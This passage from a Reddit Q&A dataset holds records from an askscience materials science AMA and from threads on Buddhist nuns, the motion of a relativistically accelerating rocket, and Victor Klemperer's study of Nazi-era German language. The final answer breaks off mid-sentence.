Flinak while also allowing neutrons to pass through it relatively easily for the reactor to function efficiently. \n\nIs there any material available today, or being tested/discovered currently that could fulfill all these requirements? If not, how close do you think a material like this is to being developed, if you had to give an estimate?\n\nI'm getting my questions and information mostly from this video: _URL_0_", "I'm actually just about to begin my freshman year of college as a materials science engineer.  Would any of you mind sharing some of your first-hand experiences?  Also, any tips for an incoming freshman?  Thanks in advance, I appreciate it immensely.", "For anyone in technology, what area do you work and what are your days generally like?", "Looking to nature to solve various problems has given us things like Velcro and , for lack of a better term, \"gecko-feet adhesion.\"  \n\nCan you give examples of other interesting problems in your field that have been or could be solved by replicating, to some degree, a solution found in nature?", "Why can't diamonds be grown out of bulk carbon the same way monocrystalline silicon is prepared for semiconductor manufacture?", "Is there a limit to how hot or how cold something can get in the universe like how the speed of light is the fastest you can go?", "Hello, I am a second year Materials Science and Engineering undergraduate. I am interested in biomaterials and the therapeutic role of polymers in burn victims.\n\nCould any of you talk about how you got involved with research and how I could go about getting a lab position?\n\nAlso, what is the current state of biomaterials and where is the field headed in the next 5-10 years?", "Oh! Can I chime in?  I'm finishing my Ph.D. work (hopefully next summer, a job prospect just came up so I'm double timing it!)\n\nI work in complex oxides, namely the ABO3 perovskite.  These materials are fascinating in that they exhibit a wide range of properties, such as ferromagnetism, ferroelectricity, metal-to-insulator transitions, high temperature super conductivity (ok, not the ABO3, but an offshoot of the structure does that one.)\n\nMy personal project is looking for candidate materials to replace silicon based electronic devices.  I grow thin films, roughly 10 nanometers thick.  These films are meant to be perfectly crystalline, and I have fantastic control of stoichiometry as well as structure thanks to the process I use called molecular beam epitaxy (MBE).  MBE is very slow, in fact, the deposition time alone is about 3000 times slower than the rate at which most people's facial hair grows.\n\nMy materials under go an electronic transition from metallic to insulating at a given temperature, this temperature is heavily dependent on the structure of the material, which I can tweak by cation substitution or changing the substrate that I grow my materials on.  I'm looking to get this transition to occur near room temperature and then create a way to strain gate it.  The promise behind this science is the extremely low power required to get a bit to switch, as well as the incredible speed it happens at.  \n\nI have access to a lot of neat toys, but my all time favorite is the Advanced Photon Source APS at Argonne National Labs.  I've also played at the High Flux Isotope Reactor (HFIR) and the Spallation Neutron Source (SNS) at Oak Ridge National Labs.\n\n", "How are turbine blade manufactures making single crystal turbine blades?", "Hello askscience!\n\nAlthough I'm a chemist, I've been working in materials science since my PhD, specifically with **ion-conducting oxides** as electrolytes and electrodes for high temperature fuel cells. My field of expertise is **synchrotron radiation** - that is, using huge particle accelerators to obtain very energetic, brilliant, collimated X-ray beams that we use to study the atomic structure of materials (say, at length scales between 0.01 and 1000 nanometers, using different techniques).", "I've always been fascinated by the concept of a space elevator for achieving low cost payload-to-orbit transfer, and naturally that comes with a whole slew of associated materials engineering challenges, particularly for the cable itself.\n\nSo my question is: in the world of materials science, what's the cutting edge of research when it comes to achieving extremes in terms of tensile strength and lightness? I've heard that nanoengineered carbon materials (such as graphene or nanotubes) are considered promising - are there any others that are being actively investigated? And how close are we to seeing some of them tested in real-world applications?", "Thanks for doing the AMA! Bio-Medical Electronics Tech here. \n\nI'm curious about plasma excitation chemical vapor deposition of diamond for the sake of cultivating gem quality diamonds. \n\nWhat is the sort of process that goes on inside of those chambers? How is the plasma exited (I have heard microwaves, could a standard microwave magnetotron be tuned to excite the plasma)? What sort of substrates are used and to what temperatures are they heated to allow growth of a wafer off of a seed diamond? \n\nI mostly ask because I would like to attempt to build one out of scrap parts. Do you know of any resources where I can find detailed information on the CVD process? Do you know if there have been any projects at a DIY CVD chamber? ", "What is the current state of nanotechnology and when do you think it will be usable in the medical field?", "Hi, I'm a materials engineer interning at IBM's Microelectronics Research Laboratory. Ask Me Anything while I wait for some tests to finish!", "How close are we to room temperature superconductors?", "What are some of the most interesting recent developments in medical nanotechnology?", "Hey folks! I don't see any solar cell researchers on here so I'll offer my services.\n\nI'm currently getting my PhD in materials science (crossing with physics and a bit of chemistry). I'm working on silicon nanoparticle-based photovoltaics, but you can ask me about the solar cell field in general too.", "How do I go about finding a material with a desired property, given that I am not an engineer. A couple of times I'm working on a project and I want a material with a specific property, but I haven't a clue where to look (eg. a plastic with the approximate permittivity of water ice). Is there some sort of database you guys have? ", "What's the future of graphene and carbon nanotubes?", "Howdy! I'm a chemist working on amorphous organic materials. I work in the area of amorphous solids (or glasses, of which common glass (aka silicate glass, SiO_2 glass) is a type of) studying the types of structure and interesting phenomena you can get by using different preparation methods. We study these materials because the way we process them (more below) is similar to how they are used in organic LEDs and organic photovoltaics (solar panels) to make thin layers (100 nanometers of material). It turns out that you can see some really surprising things, and if you aren't careful you might wind up putting a type of material in your device that isn't actually particularly good for that application.\n\nThe preparation method I focus on is physical vapor deposition -- which most people know by the simpler name sublimation. Essentially I evaporate the material I'm interested in studying in my vacuum chamber and re-condense it onto a substrate that is convenient for my experiment. I use optical characterization, specifically ellipsometry, and so silicon wafers are a cheap and easy substrate for me to use. I can use this technique to measure the density and optical constants of a material, and from that we can learn lots of interesting things.\n\nOne of the most interesting things about the area I work in is that amorphous solids (or glasses) are non-equilibrium materials. For this reason, conventional thermodynamic logic doesn't work (and in fact, thermodynamics does not apply). If you just let one of my materials sit around, it's properties change as a function of time because it is slowly trying to work it's way to equilibrium (over the course of several years...). As a result, it's really important to control the conditions my materials experience after they are made but before they are measured.\n\nI'm also an expert on the \"Are glasses liquids or solids?\" question. The answer is neither. On short time scales they display many of the behaviors of solids, and on long time scales they display structural relaxation like liquids. It's not really a debate I want to get into too much since [the last time](_URL_0_) I did it I got a lot of downvotes for disagreeing with the \"conventional wisdom.\" However I am happy to answer lots of questions about anything else you're interested in!", "Do you do anything with metamaterials?  Or even metaferrite?", "I am not a scientist. I am a working class consumer with a family. I'm reading this thread and I am blown away by all the interesting things you are all working on. Yet I don't ever see any of this in the real world. \n\nOne redditor has stated that he or she is a bridge engineer who works with cement steel and wood. What the hell? \n\nWhen will I see all of this seemingly theoretic stuff on the shelf at Target? \n\nI ask this as a simple consumer.\n\nEDIT: Thanks out to all of you who have answered my silly question.  I do understand that these cool things are already out there, but I just don't realize it.  Kudos to all of you who work in these exciting fields.  Thanks to you, my life is made easier.  Seriously, it's the work of you and people like you that enhance the lives of people like me.  Thank you.\n\nNow, I'm gonna grab my crazy futuristic space phone and send a funny picture to all of my friends. Well, some of my friends.  Thanks to yall's hard work, I can make that distinction if I want :)  It's the little things in life that your hard work makes possible.", "Seems like there should be a substantial amount of energy generated by a shirt while being worn. - The heat from the persons body, the constant movement. Is anyone working on collecting electricity from a wearable fabric?", "Not an official panelist, but if anybody has questions about materials for Gen IV reactor systems I'll happily try and answer them!", "I've always thought that this wave of fancy touchscreen interaction (ipads, surface, etc), though undoubtedly useful and intuitive, really really miss the tactile element of interacting with something (which is why just about anyone prefers typing on a regular keyboard instead of an ipad keyboard or those crazy laser projected portable keyboards).\n\nIs there something out there that could provide that, for example, a material that can expand or raise in response to electrical stimuli? Can it be wired up to a pixel-like grid? Could you put a screen behind it? How long until we have tangible beveled buttons and tactile topographical maps on our touchscreens? :)", "Hi Reddit,  Undergraduate in Materials Science who does some research concerning superconducting Nb3Sn wires within context of the ITER Project, a prototype fusion reactor.  I specifically work on manufacturer's abilities to produce consistent high purity wire, my fellow employees do work on their mechanical properties.", "I'm not sure just how deep \"materials science\" goes, so before I ask my question: Does anyone here deal with nuclear transmutation and/or strange particles?", "Everyone is so excited about \"3d printing\" lately, but without access to a wider array of materials (it is for the most part really shitty plastic), the variety of actual useful objects that can be printed, especially on a \"consumer\" model, is extremely limited.\n\nDo you think that with enough concentrated effort, this could be addressed or is this basically science fiction territory? E.g. materials that are suitable for 3d printing but can actually have enough structural strength to hold something up, be part of a building or vehicle, or withstand the heat and pressure of a combustion engine, or have enough tensile strength to act as rope or canopy etc etc.\n\nEven if you think such materials might eventually exist, do you also think they can actually be mass produced in large amounts or will they probably rely on esoteric source materials or extremely demanding manufacturing processes?\n\nDo you think such materials would even have a chance at keeping up with material development outside of 3d printing? Like I said, the polymers used for 3d printing today are way behind all these modern space-age plastics things are actually made of, which seem impervious to scratches or or heat and take a hell of a punch before as much as bending.", "Hey, I was wondering if anyone could help explain L10 and L12 magnetic phases and what specific characteristics each has as seen through various tests and why that's so (i.e. X-ray diffraction, optical microscopy, TEM, VSM, etc.) ", "We keep seeing all these crazy high-intensity-heat insulating materials where you can run a welding torch on one side and comfortably rest your face on the other.  Are there any that work for very low intensity heat as well - i.e. that can keep a cold beverage from slowly being warmed to the surrounding room temperature even over a relatively long time? \n\nI know a regular old thermos can slow the process quite a bit, but it will barely make half way through a hot summer's day. Similarly, most sandwich coolers really only do anything with an icepack present.  Could one make a container that simply keeps whatever you put in it close to the temperature you start with over several days?", "I am currently a Materials Science and Engineering undergrad (going into 3rd year). For those in the field, do you believe nanotechnology will have as big of an impact as the sci-fi world has lead us to believe?", "Ahhh sorry for the wave of questions, but I almost forgot what has possibly been my lifelong question to material science, as a whole: If cost was no object, is it possible to make a truly \"buy it or life\" rain umbrella?\n\nSo, specifically:\n\n* cannot be broken, torn or permanently bent out of shape by anything short of a category 1 hurricane\n* can be leaned on or accidentally stepped on (it's always when leaning on a wall that this happens, maximizing damage) without permanent injury\n* can be light enough to actually carry\n* (and obviously do everything else normal umbrellas can - e.g. keep water out and dry in a reasonable amount of time)", "Hello! I'm currently working on my B.S. in chemical engineering. I love chemistry, enjoy physics and tolerate math as a means to an end. Material Science really excites me and it's a subject I would really like to work with, or do research surrounding.\n\nHow did you get into material science?\n\nIf one wanted to get involved in the field how would you recommend starting out?", "Ok, last one, I promise!\n\nApparently gorilla glass (that indestructible stuff on smartphone screens) is too heavy to use for eyeglasses. Anything similarly scratch-resistance that might work?\n\nCan it also be made \"common gunk\"-phobic (I assume hydrophobic and oleophobic are good starts) so it never smudges up or fogs?\n\nI want forever-glasses darn it!", "I have a question in the field of super conducting. I find it hard to locate information on advances into the region of RTSC (room temp). Where do we stand in this field in terms of viable temperature ranges, research progress, etc? ", "Hi, I'm an undergraduate doing research in nanotechnology, specifically methods for creating nano sized chunks of ferromagnetic transition metals. My dream job is to work for NASA, is nanotechnology and/or materials science a viable route to get into space research?", "Hi, would just like to say all you guys do what i love the most. It's so cool science and you guys get to live it, you rock!\n\nAnyhow i don't know if this is the place to ask this question, but anyway how do you go about researching an idea mathematically? I know math is important to almost every section of science but when it comes to say theoretical physics. Where do you start? I'm always reading things that something can be proven mathematically. But i always wondered where you would even begin to start using math. Can anyone explain as best as possible what's the process one goes through to scientifically prove something with numbers?\n", "Hello everyone,\n\n\nMy specialty is ceramic materials, basically everything that is not polymers or metals, particularly the processing side of things. My education is a BS in Ceramic Engineering in addition to a MS and PhD in Materials Science.  The ceramic systems I mainly focus on are high temperature materials particularly Borides, Nitrides, and Carbides representing some of the highest melting point materials known. These materials are of interest for their high temperature and mechanical properties for aerospace applications such as thermal protection systems for future hypersonic flight and reentry vehicles being investigated by the Air Force, Navy, Army and NASA. In addition to the ceramic systems I work with carbon-carbon composites such as those found on the former space shuttle leading edge.\nI do lots of high temperature testing of oxidation and mechanical properties for all these materials, basically I am paid to burn things.\n\nI created some of the first Graphene-Ceramic nanocomposites using silicon nitride and found significant improvements in strength and toughness with very small additions of graphene to the ceramic.\n\nMy main interest is direct current based processing of materials also known as Spark Plasma Sintering. Basically electric fields and current have lots of benefits during the processing of materials allowing you to make very unique materials by heating very rapidly to high temperature. \n\n\nSome papers I have published if you are interested:\nAreas of Research: \n\n-[Thermochemical generation of renewable Fuels using concentrated solar](_URL_2_)\n\n-[Spark Plasma Sintering of ultra high temperature ceramics](_URL_4_)\n\n-[Ceramic-graphene nanocomposites](_URL_1_)\n\n-[High temperature oxidation of aerospace materials](_URL_0_)\n\n-[Joining of High temperature ceramics](_URL_3_)\n", "What is the latest development in glassy metals such as vitreloy? how is mass production going and what are their main industrial uses?", "On a scale of 1 to Milk Coming Out of your Nose - how hilarious is the movie The Core to a materials scientist?  What would you say is the \"most wrong\" thing they did with materials in that film?", "Hi all,\n\nMy current specialty is organic photovoltaic materials.  I'm focused mostly on the chemistry and synthesis side of the problem, creating new molecules in the lab for use in later devices.  I'd be happy to answer any questions you have about this particular field or the area of solar cells in general.\n\nIt looks like /u/Firrox also works in this field but on the inorganic side, I'm sure they would love to answer questions too!", "If you were designing a spear with the most current materials available, what would you use?\n\nSomething light, stiff that could hold an edge.", "I study optoelectronics. Mainly focused on silicon photonics. More specifically, I study high-speed germanium infrared photodetectors and electro-absorption modulators.\n\nProbably more info than you cared for, but cool applications. Basically we are trying to make multicore processors communicate with light instead of electricity. It's essentially utilizing the high bandwidths of optical fibers and miniaturizing it and putting it into a computer processor.\n\nI have also done work with semiconductor lasers in the near-IR, multi-junction solar cells for concentrated solar energy applications, and consulting work with low-cost fabrication techniques for gallium-nitride LED's.\n\nFYI: I'm in my fourth year of a PhD in Mechanical Engineering and Materials Science", "So I will preface that I'm not an official panelist because questions concerning my field of expertise have yet to arise since I've gotten deeply involved with my job, but I will answer questions if anyone has them if the mods are OK with it.\n\nI am a liquid asphalt lab technician. I am lucky enough to work at a pretty cool company, so my time at my job has allowed me to experiment and test various types of **asphalt binder** (liquid asphalt), on top of my typical quality control duties. Unfortunately, I know very little about asphalt emulsion, as it is basically a whole different animal, so to speak, but I can answer most any questions concerning asphalt binder and hot mix asphalt (you know, the black stuff roads are made out of :P).\n\nI work at an asphalt terminal where we blend various types of asphalt binders for customers for paving and paving-related applications. Our products include, but are not limited to:\n\n* Neat (unmodified) asphalt binder\n* Polyphosphoric acid (PPA) modified asphalt binder\n* Wax-modified asphalt binder for reduced-heat/energy \"warm mix\" asphalt production\n* Polymer modified asphalt binder (including cross-linking, a.k.a. vulcanization)\n* High aromatic asphalt binder for high-RAP hot mix applications\n* Crumb rubber modified asphalt binder/crack filler\n* Fiber modified asphalt binder\n\nIn addition, my research includes:\n\n* Safer alternatives to polyphosphoric acid (Soon we shall be a PPA-free facility!)\n* Jet-fuel resistant, super high-strength asphalt binder for airports\n* Applications for wax modifiers beyond \"warm mix\"\n* Raw, recycled polyethylene (plastic) waste modifiers\n* Super-low viscosity asphalt binders for extreme energy-reducing hot mix production\n* Food production waste oil modifiers\n* UV-resistant asphalt binder", "Nature uses sequence to dictate 3d shape and function of proteins, DNA, etc.  It seems that polymers have a long way to go.  There are alternating, gradient, and block copolymers out there already, but not many examples of highly sequenced ones.  How close are we to obtaining sequenced copolymers for exact applications such as tissue engineering scaffolds and drug delivery (and others I can't think of right now)?", "I'm a senior in Materials Science and Engineering at Rutgers, and I'd like to know how you decide what projects to spend your budget on in the real world. I spent a lot of time working on different methods to get the best sinterabililty, hardness and fracture toughness out of high purity Al2O3 powders, and the best reasons I ever got for why my group chose one method to try over another was \"because Dr. So and So said to\" or \"because grad student XYZ who left 5 years ago uses this mixing ratio\". \n\nDoes part of your team actually analyse the best way to do the research, or is it really just a dart board?", "Is there a material that you can buy that becomes conductive when put under force (pressure?).\n\nAnd if so can it be calibrated?", "As a physics major going to a Big Ten school in the states, I really enjoyed this thread.\n\nI was wondering, is it possible for a physics major (with a Chem minor possibly major) to get into Materials Science for grad school?  I've heard Materials Science was more of an Engineering kind of job, but is that wrong?", "Hi AskScience! I'm not an official panelist yet (but I have just applied) but I have a BScF, MSc and am currently in my first year of my PhD in biochemistry and biomedical sciences. My research focuses on discovering novel therapeutics to inhibit pseudomonas aeruginosa infectivity targeting specifically the type IV pilus system.  We take a microbiological approach but with a biochemical twist to study this bacteria amongst others. ask me anything!", "I actually have a question. I usually quote it as a joke, but perhaps I can get a real answer here.\n\nWhy do we still have car doors that ding? I mean, beyond those Saturn commercials promoting their supposedly dingproof doors, I haven't seen anything. I assume there must be a reason for this.\n\n(The joke form is along the lines of, \"I won't consider material sciences a successful field until I can buy a car that doesn't get dings.\")", "Are there many opportunities to work in research/industry with physics and nanotechnology?\n\nAre there any current uses/promising research of nanotechnology within energy or communications?\n\nIf nanotechnology is a big part of your work, what does an average day/week in your job involve? ", "1. How much programming/math is necessary in your field and did you start to become decent in programming?\n\n2. Is a lot of research geared towards marketability or patentabiliy?", "What are the modern impediments to really integrating technology with humans. I'm referring more to advanced prosthesis, but feel free to expand into other areas if you feel that they pertain.", "A few general questions, what educational paths (which degrees) did you take, what is your job, and why do you enjoy it? I'm an incoming freshman at a liberal arts college and have always done well in the sciences/maths, as well as other subjects, but I have no idea what I currently want to go into.", "I work in production of Electrostatic Chucks/MLC including CVD/PVD/DPS/EB, and was curious about some of the experimental uses and general production uses as it relates to what we use everyday. Also, what could we potentially see from advances in the respective fields utilizing these processes?\n", "I'm not even smart enough to think of a question to ask, let alone understand the answer I will receive. Props to all you smart Bastards though! ", "I work on VLS and VSS synthesis of catalyst free nanowires and low temperature CVD synthesis of 2D materials.\n\nI can answer questions on the synthesis of Si-Ge Ga/In-As/Sb nanowires, Carbon nanotubes, graphene, MoS2, MoSe, WS2 growths, current limitations and characterization.\n\nMy primary expertise is on carbon, silicon and germanium based nanomaterials but am more than qualified to answer questions on transition metal dichalcinogides.\n\nI am here to answer questions on synthesis and characterization.", "Here is one that interests me. If you have a process where the wetted materials could be alloy 276, 400, or 600...what are the main differences and why would you choose one over the other. My understanding is that on highly corrosive applications you go hastelloy and high temperature you go inconel but I feel I'm simplifying it too much", "I've been thinking about studying materials science, and I've been interning at UC Berkeley's MSE lab during this summer. What specific field would you recommend that I study, based on potential for future growth and overall interesting-ness?", "What is the future of metallurgy? ", "I'm going into chemical engineering second year, and from the disciplines I was presented with, materials science engineering seemed to be the next closest. What topics will I likely completely miss out on in chemical engineering? And what topics in chemical engineering will I likely encounter that those in materials science would not?", "So I'm an undergrad in MatSci. I feel like working in steel is kind of.. lame. Don't get me wrong, I bet working in steel is interesting to many, and there seem to be loads of jobs available in the steel industry for materials scientists. But I am interested in MatSci to be on the bleeding edge of research; exciting, revolutionary advancements, inventions of new materials or novel applications. Is this simply a false judgement? What's the steel industry really like? CAN it be as exciting as the type of career I crave?", "Okay, this might sound a bit silly, but...as someone who is interested in writing science fiction/science fantasy, what do you recommend as reading or research if I wanted to create a fictional element to add to the periodical table? Or a fictional state of matter? And what are some things in science fiction/fantasy that, if included to explain how the \"magical substance\" works, would actually make sense scientifically and could be plausible?\n\nI apologize if this is the wrong place to ask.  > . < ", ":( I have a materials science degree and didn't see this thread until waaay too late.\n\nUnfortunately after college I got sucked into piping engineering with a bit of mechanical (I mean fortunately I got a job but you know what I mean).  What's the best way to break into the Materials Engineering fields?", "I was wondering if anyone is focused on UV absorbing compounds, specifically for developing UV protective coatings.  I'm looking at playing around with making some wood finishes and I was wondering about potential additives you could use ", "You guys here are the truly badass. Granted, some of you more than others. My question isn't really related to science exactly.. I just wanted to ask how does it feel knowing that you guys have in one way shape or another directly improved the world we live in today?", "Can you give me some data on hardness and the rest for the two materials, AstroTurf (perhaps both 3G and the old stuff) and average grass pitch. Falling over one the two are radically different experiences, and I'd like the specifics on why. \n\nAlso, why are we having such difficultly producing a decent substitute material for grass pitches? ", "I would abaolutley love if anyone knows if there is any way to make a decent surfboard out of any of the materials in an old couch. ", "This is a great thread! I've really enjoyed reading through the questions. I've been working with one of my professors on a  YouTube channel about risk science, and we've just started a series of [videos](_URL_1_) about the safety of Advanced Materials.\n\nAlso, also here are some [older](_URL_0_) [videos](_URL_2_) we did about nanotechnology!  ", "This is way late in the conversation, though I was hoping you could clue me in on some information in regards to the material properties of 3D printing as opposed to traditional manufacturing methods. Just out of curiosity, when will we be seeing comparable metal components made with rapid prototyping as opposed to parts made through traditional cold forging and annealing? Thanks for an awesome AMA!", "Hi! Although not an official panelist I am currently a masters student with experience in Heterogenous Catalysis, Photocatalysis, Biofuels and Bioremediation Catalysis. If I can be of any assistance Id love to answer whatever I can."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/1ijzx5/askscience_ama_series_materials_science/?sort=new"], "answers_urls": [[], [], ["Arxiv.org", "https://mospace.umsystem.edu/xmlui/handle/10355/28588", "http://arxiv.org/abs/1209.2454", "http://arxiv.org/abs/1110.1684"], [], ["http://imgur.com/khcLSku", "http://imgur.com/Jic83yJ", "http://imgur.com/EpVJfB5", "http://imgur.com/9Yq6sN2", "http://imgur.com/HLy2Mjy", "http://imgur.com/Jf9VvVW"], ["http://imgur.com/b1GRXPR.jpg", "http://imgur.com/CstIPdz.jpg", "http://www.virlab.virginia.edu/nanoscience_class/Nanoscience_class.htm"], [], [], [], [], [], ["http://physicsworld.com/cws/article/news/2009/oct/01/fixing-bones-with-dissolvable-glass"], [], [], [], [], [], [], [], ["http://www.youtube.com/watch?v=Ykln5fyBM9E"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.reddit.com/r/askscience/comments/1i976o/is_there_a_state_where_water_is_neither_a_solid/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.sciencedirect.com/science/article/pii/S0955221910001135", "http://pubs.acs.org/doi/abs/10.1021/nn200319d?prevSearch=luke%2Bwalker&amp;searchHistoryKey=", "http://pubs.acs.org/doi/abs/10.1021/ef201346g", "http://onlinelibrary.wiley.com/doi/10.1111/j.1551-2916.2011.04739.x/abstract?deniedAccessCustomisedMessage=&amp;userIsAuthenticated=false", "http://onlinelibrary.wiley.com/doi/10.1111/j.1551-2916.2011.04873.x/abstract"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://youtu.be/Ggy9FuNHGvs", "http://www.youtube.com/playlist?list=PLVlpUweVc-T7UrACev64ASrBQLQ1jDmBV", "http://youtu.be/lq_l09kxzh0"], [], []]}
{"q_id": "3w3s18", "title": "why is there so many male buddhist monks and i don't ever see female buddhist monks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3w3s18/eli5_why_is_there_so_many_male_buddhist_monks_and/", "answers": {"a_id": ["cxt2u30", "cxt3bx8", "cxt3i7e", "cxt5gus", "cxtb7rl", "cxtoar0"], "score": [9, 33, 2, 5, 2, 2], "text": ["Female monks are nuns.\nSource: _URL_0_", "The nuns dress the same as the monks, and shave their heads. As East Asian men tend to have softer facial features than other ethnicities, it's not so easy to tell the difference.", "in San Francisco most of the Buddhist ascetics seem to be women.  I rarely see a monk but see nuns all the time. ", "In some south-east Asian countries, such as Thailand or Cambodia, it's very common for Buddhist men to spend some time as a monk. The time may range from a few weeks to several years. Some may do it once in a lifetime; others may do it more than once, and others may become monks permanently.\n\nIt's much rarer for women to become nuns, but some do. Nuns shave their heads, like monks, but usually wear white or gray robes. The color of monks' robes is often described as 'saffron': in my experience, they may wear a range of colors that includes pale or dark yellow, peach, lifejacket orange and dark red. Colors may vary from one country to another, or may depend on the temple that the monk or nun attends.\n\nAs to why most men become monks (at least for a while) and women don't, I think that's down to the different roles of men and women in society. In many societies, women are expected to remain close to home. They are responsible for preparing food and caring for children and the elderly, in addition to anything else that they have to do (such as agriculture). Men have greater freedom to move around, and that may include going away for long periods to be a monk.", "A monastic male buddhist is a monk (bhikku), a female is a nun (bhikkuni).\n\nThe dominant schools of buddhism are Theravada and Mahayana (there is a third, Vajrayana, which is tibetan buddhism, that I really don't know a great deal about). \n\nTheravada is the more \"old school\" traditionally Buddhism. To draw a more western world comparison, you can think of the Theravada like Catholics. \n\nMahayana is the \"newer\" more reform-minded Buddhism. You can think of them like the Protestants.\n\nMahayana Buddhists accept the ordination of females, while Theravada generally does not.\n\nI say generally because there are some exceptions that some Theravada might find contestable. Some years ago I had the opportunity to meet the Venerable Dhammananda Bhikkuni, who was the only ordained female in (Theravada) Thailand. She had to leave the country, be ordained by a Mahayana monk, and return.", "China here. There are nuns, but they usually wear a different color robe. In my neighborhood monks are orange, nuns are gray. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.buddhapadipa.org/buddhism/female-monks-in-buddhism/"], [], [], [], [], []]}
{"q_id": "4lynff", "title": "What would a distance vs time graph look like for a rocket accelerating from rest to relativistic speeds?", "selftext": "Would time dilation and length contraction cancel out and result in a straight line, or produce a weird sigmoidal looking curve?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4lynff/what_would_a_distance_vs_time_graph_look_like_for/", "answers": {"a_id": ["d3r939b"], "score": [17], "text": ["I will assume that the object starts from rest at the origin and begins to accelerate in the x-direction with constant proper acceleration a. The equation of motion is:\n\ndp/dt = ma = d(ymv)/dt, where y = 1/sqrt(1-(v/c)^(2)) is the Lorentz factor.\n\nd(yv)/dt = a\n\nyv = at = v/sqrt(1-(v/c)^(2)).\n\nNow we want to solve for the velocity as a function of time.\n\n(at)^(2)[1 - (v/c)^(2)] = v^(2)\n\n(at)^(2) = v^(2)[1 + (at/c)^(2)]\n\nv^(2) = (at)^(2)/[1 + (at/c)^(2)]\n\nv(t) = at/sqrt[1 + (at/c)^(2)].\n\nNow we want the position as a function of time, so we'll make the change of variables u = at/c, du = (a/c) dt.\n\nWe want to integrate uc^(2)/[a\\*sqrt[1 + u^(2)]] du.\n\nThis gives x(t) = (c^(2)/a)\\*sqrt[1 + u^(2)] + C, or\n\nx(t) = (c^(2)/a)\\*sqrt[1 + (at/c)^(2)] + C.\n\nBut we said that it should start at the origin, so that tells us what the constant C should be:\n\nC = -c^(2)/a. So:\n\nx(t) = (c^(2)/a)[sqrt(1 + (at/c)^(2)) - 1].\n\n[Here](_URL_0_) I have plotted x as a function of t, where t is measured in units of c/a for simplicity.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.wolframalpha.com/input/?i=plot+x+%3D+sqrt(1+%2B+t%5E2\\)+-+1,+t+%3D+0..10"]]}
{"q_id": "8qowjh", "title": "Did the Nazis intentionally simplify their vocabulary?", "selftext": "In his 1995 essay \"Ur Fascism,\" Umberto Eco asserts that \"All the Nazi or Fascist schoolbooks made use of an impoverished vocabulary, and an elementary syntax, in order to limit the instruments for complex and critical reasoning.\" He doesn't provide any evidence in the article to back this up (it's not really that type of essay), and I don't speak enough German to investigate for myself if this is true. Is there any concrete evidence that there was an organized effort by the Nazis to \"impoverish\" their language (in schoolbooks or elsewhere) to limit their citizens' capacity for critical thinking?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8qowjh/did_the_nazis_intentionally_simplify_their/", "answers": {"a_id": ["e0lahpl", "e0mrke2"], "score": [696, 4], "text": ["**part 1/2**\n\nI am not aware of any quantitative study or research effort that would trace the development of language in Nazi schoolbooks concerning impoverishment of vocabulary or otherwise. That said, there are studies that deal specifically with the language used and the use of language in Nazism. These suggest that it is not as simple as Nazism simplifying language or \"dumbing\" it down. Rather, they show that there is a rather complex relationship between the ideology and language of Nazism that can offer some illuminating insight into the system of thought that was the Nazis' variety of fascism.\n\nAs a bit of a caveat though: As a historian and not a linguist, it's rather hard for me to write about the German language and its intricacies under the rule of the Nazis for an audience that for the most part does not speak German. I will try to express this in a way that it is understandable but its a bit like describing color to a blind person, so forgive me if some things might not be as understandable or if there are some translations that don't make that much sense in English.\n\nProbably the most famous such work about the language of Nazism is Viktor Klemperer's *LTI \u2013 Lingua Tertii Imperii: Notizbuch eines Philologen*, published in 1947 and translated in its English editions as *The Language of the Third Reich: A Philologist's Notebook*.\n\nKlemperer was a philologist and a Jew defined as defined by the Nazis. He spend the war in Germany, which he survived in part because he was married to Eva Klemperer, who under the Nazis' racial laws was defined as a German. This did offer him some protection from deportation and being murdered, he still suffered immensely \u2013 like others in his situation \u2013 though, in large parts because of the discriminatory measures the Nazis enacted against people in mixed marriages but also because such a situation tends to put a strain on interpersonal relationships. I mean, from Eva's perspective there is the issue that you are responsible via your marriage for the survival of another person and that person indeed knows it...\n\nAnyways, Klemperer as a trained philologist kept a diary during the years of Nazi rule in Germany where he noted his thoughts about the language used in Germany under Nazi rule, by NS officials, by ordinary Germans and by fellow Jews.These notes he published in 1947 under the title LTI \u2013 Lingua Tertii Imperii, which in itself is a riff on Nazi language giving their tendency for abbreviations \u2013 HJ, BDM, NSKK, SA, SS and so forth. The book is organized similarly to his diary in dealing with certain phrases and words and discusses using these certain tendencies in the Nazi German language.\n\nHe f.ex. begins the book with a reflection on the use of the prefix \"ent-\", which in German can indicate to reverse certain verbs, so when you blackout windows, you de-balckout them again (verdunkeln - entdunkeln) and how verbs with this prefix became used mostly in sentences in the passive, so that f.ex. chestnuts were de-bittered (Kastanien wurden entbittert), which in combination would instill the emotion of distancing oneself from what was ongoing. This he describes as a linguistic tendency that survived the war and now found itself mirrored in the use of \"entnazifizieren\" (de-nazifying), which by virtue of \"ent-\" and the use in the passive (Germany is being denazified) indicates a certain desire of the Germans to reject any sort of responsibility.\n\nin another part of the book, Klemperer discusses the word \"fanatical\". Sketching out its use by the writers of the Enlightenment like Voltaire, Rousseau and others, who gave it a ringing negative connotation, he discusses how the word was transformed by the Nazis to indicate a virtue. \"Never before the Third Reich anybody would have thought to use fanatical as indication for something positive\", Klemperer writes, which leads according to him to the strange (and rather Orwellian) use of the word as both as a positive and a negative connotation at the same time, depending on how it was used. The Nazis would in their official language use it together with other terms they deemed positive like \"fanatically brave\", \"fanatically tenacious\" while at the same time Hitler would in speeches deride people he deemed \"objectivity fanatics\".\n\nThe use of \"fanatical\" and Klemperer's thoughts about it, actually line up very closely with how various people have described the ideology of fascism. As Klmeperer notes the negative connotation afforded to fanatical has its roots in the Enlightenment's objection to its original descriptor of overzealous religious devotion. The Fanatic is the person who is so religiously devoted that they experience it on a very visceral level \u2013 shaking, having visions, experiencing religious ecstasy. This was seen as fundamentally opposed to the rational discourse of the Enlightenment. Walter Benjamin would argue that this fits very well with Nazism for Fascism as an ideology seeks the transformation of politics into aesthetics, putting immediate sensual experience over concrete content. Like 